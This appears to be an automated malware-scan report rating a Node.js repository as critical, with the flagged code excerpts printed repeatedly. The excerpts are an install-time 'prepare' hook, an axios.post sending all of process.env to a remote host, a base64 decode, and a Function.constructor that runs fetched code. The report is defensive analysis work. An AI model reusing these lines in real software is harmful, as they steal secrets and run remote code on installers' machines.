| Verdict | Critical |
|---|---|
| Code | 5 attack chains found in the code, 5 of them decisive |
Multiple high-severity risk signals were detected in this case (score 120). Repository analysis identified 7 patterns consistent with known threat indicators, including env_spread_exfil_post, env_axios_exfil, env_spread_object, base64_buffer_decode, base64_to_utf8_string. Flagged code patterns were found in server/mock/users.js, server/services/authService.js, server/services/dataService.js. High-severity signals: webhook exfiltration, code obfuscation, dangerous code execution. The combination of signals is consistent with patterns observed in confirmed threat cases. Analyst review recommended.
| Runs | builds code from a string and runs it; decodes a hidden payload |
|---|---|
| Leaves the machine | data to a remote host; environment variables; environment variables, sent out |
| When | at install time |
5 chains. Open one to see the lines it rests on.
| server/services/authService.js:36 | decodes |
| server/services/dataService.js:55 | code from string |
server/services/authService.js:36 · base64_buffer_decode
return Buffer.from(s, "base64").toString("utf8");server/services/authService.js:36 · base64_to_utf8_string
return Buffer.from(s, "base64").toString("utf8");server/services/dataService.js:55 · function_constructor_access
const executor = new (Function.constructor)("require", responseData);| package.json:9 | triggered on install |
| server/app.js:1 | reads env |
| server/mock/users.js:24 | sends to |
| server/services/authService.js:36 | decodes |
| server/services/dataService.js:55 | code from string |
| server/mock/users.js:24 | env exfil |
package.json:9 · lifecycle_hook_prepare
"prepare": "node server/app.js"server/app.js:1 · dotenv_require
require('dotenv').config();server/mock/users.js:24 · env_axios_exfil
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_exfil_post
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_object
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · outbound_http_request
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/services/authService.js:36 · base64_buffer_decode
return Buffer.from(s, "base64").toString("utf8");server/services/authService.js:36 · base64_to_utf8_string
return Buffer.from(s, "base64").toString("utf8");server/services/dataService.js:55 · function_constructor_access
const executor = new (Function.constructor)("require", responseData);| server/mock/users.js:24 | env exfil |
server/mock/users.js:24 · env_axios_exfil
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_exfil_post
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_object
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · outbound_http_request
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });| package.json:9 | triggered on install |
| server/mock/users.js:24 | sends to |
package.json:9 · lifecycle_hook_prepare
"prepare": "node server/app.js"server/mock/users.js:24 · env_axios_exfil
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_exfil_post
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_object
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · outbound_http_request
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });| package.json:9 | triggered on install |
| server/app.js:1 | reads env |
| server/mock/users.js:24 | sends to |
package.json:9 · lifecycle_hook_prepare
"prepare": "node server/app.js"server/app.js:1 · dotenv_require
require('dotenv').config();server/mock/users.js:24 · env_axios_exfil
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_exfil_post
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · env_spread_object
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });server/mock/users.js:24 · outbound_http_request
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });| Code | Something in this code can run on the machine that installs or runs it. |
|---|---|
| Layers | not detonated in a sandbox |
| Version | Date | Band | Engine | Stages |
|---|---|---|---|---|
| 2 | 04/09/2026 | Critical | 5c766bbb4aa0 | engine, osv |
| 1 | 15/05/2026 | Critical | legacy-pre-g | engine |
Disclaimer: This report is based on community-submitted information and automated analysis. It does not constitute legal advice or a definitive determination of fraud. Named or described entities may contest this report — if you believe this case contains inaccurate information, you may submit a correction or appeal. RTIdx processes takedown and correction requests within 7 days.